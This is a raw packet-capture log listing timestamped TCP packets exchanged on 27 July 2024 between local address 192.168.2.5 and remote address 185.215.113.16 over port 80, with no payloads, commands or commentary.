Jul 27, 2024 09:25:14.270812988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.271759033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271770954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271780968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271832943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271843910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271855116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271872997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271884918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271884918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.271886110 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.271886110 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.271897078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271908045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271918058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271931887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.271969080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.271969080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.271969080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272057056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272068024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272077084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272087097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272097111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272106886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272167921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272169113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272169113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272202969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272212982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272222042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272232056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272242069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272258043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272269011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272278070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272288084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272316933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272316933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272316933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272438049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272448063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272459030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272506952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272506952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272507906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272517920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272521019 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272526979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272532940 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272569895 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272569895 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272636890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272674084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272689104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272705078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272713900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272722960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272732973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272757053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272757053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272795916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.272864103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272880077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272890091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272900105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272910118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.272964001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273030043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273040056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273051977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273051977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273161888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273169041 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273169041 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273173094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273178101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273183107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273188114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273192883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273196936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273204088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273207903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273271084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273350954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273350954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273363113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273426056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273441076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273452997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273462057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273472071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273482084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273482084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273566008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273596048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273607016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273617029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273627043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273655891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273680925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273689985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273699045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273709059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273716927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273716927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273718119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273916006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273925066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273936987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273941040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.273947954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273957014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273967028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273977041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273987055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.273998022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274007082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274022102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274022102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274022102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274040937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274065018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274074078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274082899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274092913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274110079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274121046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274122953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274158955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274255037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274260044 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274266005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274279118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274287939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274296999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274331093 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274446011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274456024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274465084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274475098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274486065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274496078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274506092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274521112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274521112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274521112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274542093 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274625063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274635077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274643898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274652958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274662971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274672985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274682999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274693012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274705887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274729967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274729967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274729967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274749041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274784088 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274801970 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274804115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274813890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274892092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274902105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274912119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274921894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274941921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274941921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.274976969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274986982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.274996996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275007010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275044918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275044918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275044918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275064945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275074959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275109053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275286913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275295973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275305986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275316000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275325060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275333881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275342941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275352955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275362968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275373936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275383949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275383949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275383949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275384903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275397062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275445938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275445938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275445938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275481939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275490999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275501013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275525093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275532961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275543928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275573015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275573015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275654078 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275711060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275728941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275738001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275819063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275824070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275829077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275935888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275944948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275954962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275964022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275973082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275981903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.275996923 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275998116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.275998116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276005030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276012897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276030064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276040077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276048899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276058912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276060104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276068926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276112080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276112080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276112080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276150942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276160002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276170015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276254892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276264906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276273966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276279926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276298046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276298046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276298046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276323080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276334047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276335955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276443958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276453018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276464939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276469946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276473045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276490927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276500940 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276510000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276510000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.276530981 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.276587009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277512074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277525902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277535915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277544975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277554035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277563095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277568102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277568102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277578115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277587891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277596951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277606964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277611017 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277616024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277626038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277635098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277645111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277647018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277653933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277695894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277695894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277698994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277709961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277719021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277729034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277738094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277748108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277755022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277756929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277762890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277770996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277776003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277785063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277796984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277798891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277813911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277822018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277841091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277844906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277854919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277863979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277873039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277883053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277893066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277901888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277910948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277910948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277910948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277936935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277946949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277956009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277957916 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277966022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.277966976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277976990 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.277992010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278002977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278012037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278022051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278029919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278037071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.278042078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278052092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278063059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278073072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278095961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.278095961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.278095961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.278117895 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.278146029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278156042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278165102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278176069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278187990 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.278198004 CEST	80	49705	185.215.113.16	192.168.2.5
